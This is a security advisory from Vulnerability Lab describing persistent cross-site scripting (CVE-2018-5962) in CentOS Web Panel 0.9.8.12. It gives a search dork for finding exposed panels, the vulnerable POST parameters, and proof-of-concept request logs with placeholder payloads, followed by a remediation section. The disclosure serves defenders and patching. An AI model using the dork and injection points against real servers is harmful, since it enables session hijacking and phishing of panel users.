Document Title:
===============
CentOS Web Panel v0.9.8.12 - Persistent Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1836

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-5962

CVE-ID:
=======
CVE-2018-5962


Release Date:
=============
2018-01-19


Vulnerability Laboratory ID (VL-ID):
====================================
1836


Common Vulnerability Scoring System:
====================================
4.4


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
CentOS Web Panel - Free Web Hosting control panel is designed for quick and easy management of (Dedicated & VPS) servers without of 
need to use ssh console for every little thing. There is lot's of options and features for server management in this control panel.
CWP automatically installs full LAMP on your server (apache,php, phpmyadmin, webmail, mailserver…).

(Copy of the Homepage: http://centos-webpanel.com/features )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple application-side post inject vulnerabilities in the CentOS Web Panel v0.9.8.12.


Vulnerability Disclosure Timeline:
==================================
2017-01-19: Non-Public Disclosure (Vulnerability Laboratory - Shared Customer Research Feed)


Discovery Status:
=================
Published


Affected Product(s):
====================
CWP
Product: CentOS Web Panel - (CWP) 0.9.8.12


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Coordinated Disclosure


Technical Details & Description:
================================
Multiple application-side POST inject web vulnerabilities has been discovered in the official CentOS Web Panel v0.9.8.12.
The vulnerability allows remote attacker to inject own malicious script codes to the application-side of the vulnerable modules.

The vulnerabilities are located in the `id` and `email_address` values of the `index.php` file POST method request. Remote attackers 
are able to inject script code to the POST method request to manipulate the item listing output context. The request method to inject 
is POST and the attack vector is persistent on the application-side. The injection point are the add POST method requests and the 
execution point occurs in the output side with the added context.

The security risk of the persistent vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.4. 
Exploitation of the persistent web vulnerability requires a low privileged web-application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects 
to malicious source and persistent manipulation of affected or connected application modules.

Request Method(s):
				[+] POST

Vulnerable Module(s):
				[+] phpini_editor
				[+] mail_add-new
				
Vulnerable File(s):
				[+] index.php

Vulnerable Parameter(s):
				[+] id
				[+] email_address


Proof of Concept (PoC):
=======================
The application-side post inject web vulnerabilities can be exploited by local low privileged user account with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Dork(s):
"powered by CentOS-WebPanel.com"


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:2030/index.php?module=phpini_editor 
Mime Type[text/html]
   Request Header:
      Host[localhost:2030]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://localhost:2030/index.php?module=phpini_editor]
      Cookie[cwpsrv-3cc0cea69668d490e1029c2a41ce5df3=8fnvi0bqgjj162mqklruu8clq5; PHPSESSID=8dsrha0ivd80kkgukvklgvmct1]
      Connection[keep-alive]
   POST-Daten:
      id[%3E%22%3CPAYLOAD INJECTION POINT!+src]
      del[]
   Response Header:
      Server[Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips PHP/5.4.27]
      X-Powered-By[PHP/5.4.27]
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Keep-Alive[timeout=5, max=94]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html]

PoC: POST via Delete function in phpini_editor via Add your custom settings! input
<div class="row">
<h3>Simple php.ini editor</h3>
File Location: /home/test-dom/public_html/php.ini
<br><br>magic_quotes_gpc=&gt;"<%3E%22%3CPERSISTENT SCRIPT CODE PAYLOAD EXECUTION!+src>
 Removed!<META HTTP-EQUIV='refresh' CONTENT='1'>	
                </div><!-- End .row -->
            </div><!-- End contentwrapper -->
        </div><!-- End #content -->
    </div><!-- End #wrapper -->

Reference(s):
http://localhost:2030/index.php?module=phpini_editor 


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:2030/index.php?module=mail_add-new 
Mime Type[text/html]
   Request Header:
      Host[localhost:2030]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://localhost:2030/index.php?module=mail_add-new]
      Cookie[cwpsrv-3cc0cea69668d490e1029c2a41ce5df3=8fnvi0bqgjj162mqklruu8clq5; PHPSESSID=8dsrha0ivd80kkgukvklgvmct1]
      Connection[keep-alive]
   POST-Daten:
      ifpost[yes]
      email_address[%3E%22%3CPAYLOAD INJECTION POINT!+src]
      domain[test-domain.com]
      password[%3E%22%3CPAYLOAD INJECTION POINT!+src]
   Response Header:
      Server[Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips PHP/5.4.27]
      X-Powered-By[PHP/5.4.27]
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Keep-Alive[timeout=5, max=100]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html]

PoC: POST via add Mailbox in email input 
<div class="row">
<br>Email domain <b>test-domain.com</b> created.
<br>Mailbox <b>a&gt;"<%3E%22%3CPERSISTENT SCRIPT CODE PAYLOAD EXECUTION!+src>@test-domain.com</b> created.
<br><h3>Create a New Email Account or Forwarder (MailBox/Forwarder)</h3>
Here you can create a new email account or forwarder.
<br><br>
<div class='row'>
	<div class='col-lg-8'>
		<div class='panel panel-default chart gradient'>
        <div class='panel-heading'>
			<h4><span class='icon16 icomoon-icon-bars'></span>
				<span>Create a New Email Account (MailBox)</span>
			</h4>
        <a href='#' class='minimize'>Minimize</a>
        </div>
        <div class='panel-body' style='padding-bottom:0;'>
<form action='' method= 'post'>
<input type='hidden' name='ifpost' size='0' value='yes'>
<table><tr><td>

Reference(s):
http://localhost:2030/index.php?module=mail_add-new 


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable `id` and `email address` parameters of the index.php 
file POST method request. Disallow usage of special chars and restrict the parameter input to prevent application-side script code 
injection attacks. Filter in the output error or the item listing the vulnerable location were the code executes.


Security Risk:
==============
The security risk of the application-side input validation vulnerabilities in the web-application are estimated as medium. (CVSS 4.4)


Credits & Authors:
==================
Benjamin K.M. [bkm@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


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=========================
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